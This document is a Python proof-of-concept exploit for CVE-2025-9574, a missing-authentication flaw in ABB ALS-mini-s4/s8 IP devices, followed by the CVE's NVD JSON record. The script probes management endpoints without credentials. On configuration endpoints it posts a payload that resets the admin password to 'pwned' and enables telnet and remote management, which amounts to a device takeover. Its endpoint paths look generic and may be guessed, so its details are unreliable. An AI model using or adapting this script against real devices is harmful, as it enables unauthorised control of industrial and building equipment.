CVE-2025-9574

# CVE-2025-9574 PoC - ABB ALS-mini-s4/s8 IP Missing Authentication # Exploit demonstrates unauthenticated access to critical functions # Affected: ABB ALS-mini-s4 IP, ABB ALS-mini-s8 IP (Serial 2000-5166) import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" TARGET_PORT = 80 # Default HTTP port for ABB ALS-mini devices def exploit_missing_auth(target): """ Exploit CVE-2025-9574: Missing Authentication for Critical Function The device's critical management interface lacks authentication, allowing unauthenticated remote access. """ base_url = f"http://{target}:{TARGET_PORT}" # Step 1: Probe device to confirm vulnerability # Access critical function endpoint without authentication endpoints = [ "/api/system/config", # System configuration "/api/device/info", # Device information "/api/admin/users", # User management "/cgi-bin/config_manager.cgi", # Legacy config manager "/diagnostics", # Diagnostics interface ] print(f"[*] Targeting ABB ALS-mini device at {target}") print(f"[*] CVE-2025-9574 - Missing Authentication for Critical Function") for endpoint in endpoints: try: # Send request WITHOUT any authentication credentials resp = requests.get( f"{base_url}{endpoint}", timeout=5, # No auth headers, no cookies, no tokens ) if resp.status_code == 200: print(f"[+] VULNERABLE: {endpoint} returned 200 (no auth required)") print(f" Response preview: {resp.text[:200]}") # Step 2: Attempt privileged operations # Modify critical configuration without authentication if "config" in endpoint: exploit_config_modify(base_url, endpoint) except requests.exceptions.RequestException as e: print(f"[-] Connection error on {endpoint}: {e}") return True def exploit_config_modify(base_url, endpoint): """Attempt to modify device configuration without authentication""" # Critical configuration changes without auth malicious_config = { "admin_password": "pwned", "telnet_enabled": True, "remote_mgmt": True } resp = requests.post( f"{base_url}{endpoint}", json=malicious_config, timeout=5 ) if resp.status_code in [200, 204]: print(f"[+] CRITICAL: Configuration modified without authentication!") if __name__ == "__main__": exploit_missing_auth(TARGET_HOST)

{"cve": {"id": "CVE-2025-9574", "sourceIdentifier": "[email protected]", "published": "2025-10-20T17:15:39.367", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authentication for Critical Function vulnerability in ABB ALS-mini-s4 IP, ABB ALS-mini-s8 IP.This issue affects . \n\nAll firmware versions with the Serial Number from 2000 to 5166"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Red", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=4TZ00000006007&LanguageCode=en&DocumentPartId=PDF&Action=Launch", "source": "[email protected]"}]}}